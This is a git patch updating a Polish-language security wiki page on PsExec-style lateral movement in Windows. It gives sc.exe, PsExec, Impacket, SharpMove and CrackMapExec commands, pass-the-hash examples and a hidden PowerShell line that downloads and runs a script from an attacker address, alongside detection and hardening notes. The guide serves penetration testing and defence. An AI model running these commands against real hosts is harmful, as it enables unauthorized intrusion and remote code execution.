From e93ac24735f404f2ed58ece89da0b8a4285655b8 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Mon, 18 Aug 2025 14:17:12 +0000
Subject: [PATCH] Translated
 ['src/windows-hardening/lateral-movement/psexec-and-winexec.m

---
 .../lateral-movement/psexec-and-winexec.md    | 157 ++++++++++++++----
 1 file changed, 129 insertions(+), 28 deletions(-)

diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md
index e837df0b7..5927a27c3 100644
--- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md
+++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md
@@ -4,46 +4,147 @@
 
 ## Jak to działa
 
-Proces jest opisany w poniższych krokach, ilustrując, jak binaria usług są manipulowane w celu osiągnięcia zdalnego wykonania na docelowej maszynie za pośrednictwem SMB:
+Te techniki wykorzystują Menedżera Kontroli Usług Windows (SCM) zdalnie przez SMB/RPC do wykonywania poleceń na docelowym hoście. Typowy przebieg to:
 
-1. **Kopiowanie binariów usług do udziału ADMIN$ przez SMB** jest wykonywane.
-2. **Tworzenie usługi na zdalnej maszynie** odbywa się poprzez wskazanie na binarium.
-3. Usługa jest **uruchamiana zdalnie**.
-4. Po zakończeniu usługa jest **zatrzymywana, a binarium jest usuwane**.
+1. Uwierzytelnienie do celu i dostęp do udziału ADMIN$ przez SMB (TCP/445).
+2. Skopiowanie pliku wykonywalnego lub określenie linii poleceń LOLBAS, którą usługa uruchomi.
+3. Zdalne utworzenie usługi za pomocą SCM (MS-SCMR przez \PIPE\svcctl) wskazującej na to polecenie lub binarny plik.
+4. Uruchomienie usługi w celu wykonania ładunku i opcjonalnie przechwycenie stdin/stdout przez nazwany potok.
+5. Zatrzymanie usługi i sprzątanie (usunięcie usługi i wszelkich zrzucanych binarnych plików).
 
-### **Proces ręcznego wykonywania PsExec**
+Wymagania/wymogi wstępne:
+- Lokalny administrator na docelowym hoście (SeCreateServicePrivilege) lub wyraźne prawa do tworzenia usług na docelowym hoście.
+- SMB (445) dostępny i udział ADMIN$ dostępny; zdalne zarządzanie usługami dozwolone przez zaporę hosta.
+- Ograniczenia UAC dla zdalnych: w przypadku lokalnych kont, filtrowanie tokenów może blokować dostęp administratora przez sieć, chyba że używa się wbudowanego Administratora lub LocalAccountTokenFilterPolicy=1.
+- Kerberos vs NTLM: użycie nazwy hosta/FQDN umożliwia Kerberos; łączenie przez IP często wraca do NTLM (i może być zablokowane w wzmocnionych środowiskach).
 
-Zakładając, że istnieje ładunek wykonywalny (stworzony za pomocą msfvenom i z obfuskowanym kodem przy użyciu Veil, aby uniknąć wykrycia przez oprogramowanie antywirusowe), nazwany 'met8888.exe', reprezentujący ładunek meterpreter reverse_http, podejmowane są następujące kroki:
+### Ręczne ScExec/WinExec za pomocą sc.exe
 
-- **Kopiowanie binarium**: Wykonywalny plik jest kopiowany do udziału ADMIN$ z wiersza poleceń, chociaż może być umieszczony w dowolnym miejscu w systemie plików, aby pozostać ukrytym.
-- Zamiast kopiować binarium, można również użyć binarium LOLBAS, takiego jak `powershell.exe` lub `cmd.exe`, aby wykonać polecenia bezpośrednio z argumentów. Np. `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
-- **Tworzenie usługi**: Wykorzystując polecenie Windows `sc`, które pozwala na zapytania, tworzenie i usuwanie usług Windows zdalnie, tworzona jest usługa o nazwie "meterpreter", wskazująca na przesłane binarium.
-- **Uruchamianie usługi**: Ostatni krok polega na uruchomieniu usługi, co prawdopodobnie spowoduje błąd "time-out" z powodu tego, że binarium nie jest prawdziwym binarium usługi i nie zwraca oczekiwanego kodu odpowiedzi. Ten błąd jest nieistotny, ponieważ głównym celem jest wykonanie binarium.
+Poniżej przedstawiono minimalne podejście do tworzenia usługi. Obraz usługi może być zrzucanym EXE lub LOLBAS, takim jak cmd.exe lub powershell.exe.
+```cmd
+:: Execute a one-liner without dropping a binary
+sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
+sc.exe \\TARGET start HTSvc
+sc.exe \\TARGET delete HTSvc
 
-Obserwacja nasłuchiwacza Metasploit ujawni, że sesja została pomyślnie zainicjowana.
-
-[Dowiedz się więcej o poleceniu `sc`](https://technet.microsoft.com/en-us/library/bb490995.aspx).
-
-Znajdź bardziej szczegółowe kroki w: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
-
-- Możesz również użyć **Windows Sysinternals binary PsExec.exe**:
-
-![](<../../images/image (928).png>)
-
-Lub uzyskać do niego dostęp przez webddav:
-```bash
-\\live.sysinternals.com\tools\PsExec64.exe -accepteula
+:: Drop a payload to ADMIN$ and execute it (example path)
+copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
+sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
+sc.exe \\TARGET start HTSvc
+sc.exe \\TARGET delete HTSvc
 ```
-- Możesz również użyć [**SharpLateral**](https://github.com/mertdas/SharpLateral):
+Notatki:
+- Oczekuj błędu timeout przy uruchamianiu EXE, które nie jest usługą; wykonanie nadal się odbywa.
+- Aby pozostać bardziej przyjaznym dla OPSEC, preferuj polecenia bezplikowe (cmd /c, powershell -enc) lub usuń zrzucane artefakty.
+
+Znajdź bardziej szczegółowe kroki w: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
+
+## Narzędzia i przykłady
+
+### Sysinternals PsExec.exe
+
+- Klasyczne narzędzie administracyjne, które używa SMB do zrzucania PSEXESVC.exe w ADMIN$, instaluje tymczasową usługę (domyślna nazwa PSEXESVC) i pośredniczy w I/O przez nazwane potoki.
+- Przykłady użycia:
+```cmd
+:: Interactive SYSTEM shell on remote host
+PsExec64.exe -accepteula \\HOST -s -i cmd.exe
+
+:: Run a command as a specific domain user
+PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
+
+:: Customize the service name for OPSEC (-r)
+PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
+```
+- Możesz uruchomić bezpośrednio z Sysinternals Live za pomocą WebDAV:
+```cmd
+\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
+```
+OPSEC
+- Zostawia zdarzenia instalacji/odinstalacji usługi (nazwa usługi często PSEXESVC, chyba że użyto -r) i tworzy C:\Windows\PSEXESVC.exe podczas wykonywania.
+
+### Impacket psexec.py (podobny do PsExec)
+
+- Używa osadzonej usługi podobnej do RemCom. Zrzuca tymczasowy plik binarny usługi (zwykle z losową nazwą) przez ADMIN$, tworzy usługę (domyślnie często RemComSvc) i przekazuje I/O przez nazwany potok.
 ```bash
+# Password auth
+psexec.py DOMAIN/user:Password@HOST cmd.exe
+
+# Pass-the-Hash
+psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
+
+# Kerberos (use tickets in KRB5CCNAME)
+psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
+
+# Change service name and output encoding
+psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
+```
+Artefakty
+- Tymczasowy EXE w C:\Windows\ (losowe 8 znaków). Nazwa usługi domyślnie to RemComSvc, chyba że zostanie nadpisana.
+
+### Impacket smbexec.py (SMBExec)
+
+- Tworzy tymczasową usługę, która uruchamia cmd.exe i używa nazwanej rury do I/O. Zazwyczaj unika zrzucania pełnego ładunku EXE; wykonanie polecenia jest półinteraktywne.
+```bash
+smbexec.py DOMAIN/user:Password@HOST
+smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
+```
+### SharpLateral i SharpMove
+
+- [SharpLateral](https://github.com/mertdas/SharpLateral) (C#) implementuje kilka metod ruchu lateralnego, w tym exec oparty na usłudze.
+```cmd
 SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
 ```
-- Możesz również użyć [**SharpMove**](https://github.com/0xthirteen/SharpMove):
-```bash
+- [SharpMove](https://github.com/0xthirteen/SharpMove) zawiera modyfikację/tworzenie usługi w celu zdalnego wykonania polecenia.
+```cmd
 SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
 SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
 ```
-- Możesz również użyć **Impacket's `psexec` i `smbexec.py`**.
+- Możesz również użyć CrackMapExec do wykonania za pomocą różnych backendów (psexec/smbexec/wmiexec):
+```bash
+cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
+cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
+```
+## OPSEC, wykrywanie i artefakty
+
+Typowe artefakty hosta/sieci przy użyciu technik podobnych do PsExec:
+- Zdarzenia zabezpieczeń 4624 (Typ logowania 3) i 4672 (Specjalne uprawnienia) na docelowym koncie administratora.
+- Zdarzenia zabezpieczeń 5140/5145 dotyczące udostępniania plików i szczegółowe zdarzenia udostępniania plików pokazujące dostęp do ADMIN$ oraz tworzenie/zapisywanie binariów usług (np. PSEXESVC.exe lub losowe 8-znakowe .exe).
+- Instalacja usługi zabezpieczeń 7045 na docelowym: nazwy usług takie jak PSEXESVC, RemComSvc lub niestandardowe (-r / -service-name).
+- Sysmon 1 (Utworzenie procesu) dla services.exe lub obrazu usługi, 3 (Połączenie sieciowe), 11 (Utworzenie pliku) w C:\Windows\, 17/18 (Rura utworzona/połączona) dla rur takich jak \\.\pipe\psexesvc, \\.\pipe\remcom_*, lub zrandomizowane odpowiedniki.
+- Artefakt rejestru dla EULA Sysinternals: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 na hoście operatora (jeśli nie jest tłumione).
+
+Pomysły na polowanie
+- Powiadomienie o instalacjach usług, gdzie ImagePath zawiera cmd.exe /c, powershell.exe lub lokalizacje TEMP.
+- Szukaj tworzenia procesów, gdzie ParentImage to C:\Windows\PSEXESVC.exe lub dzieci services.exe działających jako LOCAL SYSTEM wykonujących powłokę.
+- Oznaczaj nazwane rury kończące się na -stdin/-stdout/-stderr lub znane nazwy rur klonów PsExec.
+
+## Rozwiązywanie typowych problemów
+- Odmowa dostępu (5) podczas tworzenia usług: brak prawdziwego lokalnego administratora, ograniczenia UAC dla lokalnych kont lub ochrona przed manipulacją EDR na ścieżce binariów usługi.
+- Ścieżka sieciowa nie została znaleziona (53) lub nie można połączyć się z ADMIN$: zapora blokująca SMB/RPC lub wyłączone udostępnianie administratora.
+- Kerberos nie działa, ale NTLM jest zablokowany: połącz się używając nazwy hosta/FQDN (nie IP), upewnij się, że SPN są poprawne, lub dostarcz -k/-no-pass z biletami przy użyciu Impacket.
+- Rozpoczęcie usługi przekracza czas, ale ładunek działał: oczekiwane, jeśli nie jest to prawdziwy plik binarny usługi; przechwyć wyjście do pliku lub użyj smbexec do bieżącego I/O.
+
+## Notatki dotyczące zabezpieczeń (nowoczesne zmiany)
+- Windows 11 24H2 i Windows Server 2025 wymagają podpisywania SMB domyślnie dla połączeń wychodzących (i Windows 11 przychodzących). Nie wpływa to na legalne użycie PsExec z ważnymi poświadczeniami, ale zapobiega nadużywaniu niepodpisanego SMB relay i może wpłynąć na urządzenia, które nie obsługują podpisywania.
+- Nowe blokowanie NTLM klienta SMB (Windows 11 24H2/Server 2025) może uniemożliwić fallback NTLM przy łączeniu przez IP lub do serwerów nie-Kerberos. W zabezpieczonych środowiskach to złamie oparte na NTLM PsExec/SMBExec; użyj Kerberos (nazwa hosta/FQDN) lub skonfiguruj wyjątki, jeśli jest to rzeczywiście potrzebne.
+- Zasada najmniejszych uprawnień: minimalizuj członkostwo lokalnych administratorów, preferuj Just-in-Time/Just-Enough Admin, egzekwuj LAPS i monitoruj/powiadamiaj o instalacjach usług 7045.
+
+## Zobacz także
+
+- WMI-based remote exec (często bardziej bezplikowe):
+{{#ref}}
+lateral-movement/wmiexec.md
+{{#endref}}
+
+- WinRM-based remote exec:
+{{#ref}}
+lateral-movement/winrm.md
+{{#endref}}
 
 
+
+## Odniesienia
+
+- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
+- Zabezpieczenia SMB w Windows Server 2025 i Windows 11 (podpisywanie domyślnie, blokowanie NTLM): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
 {{#include ../../banners/hacktricks-training.md}}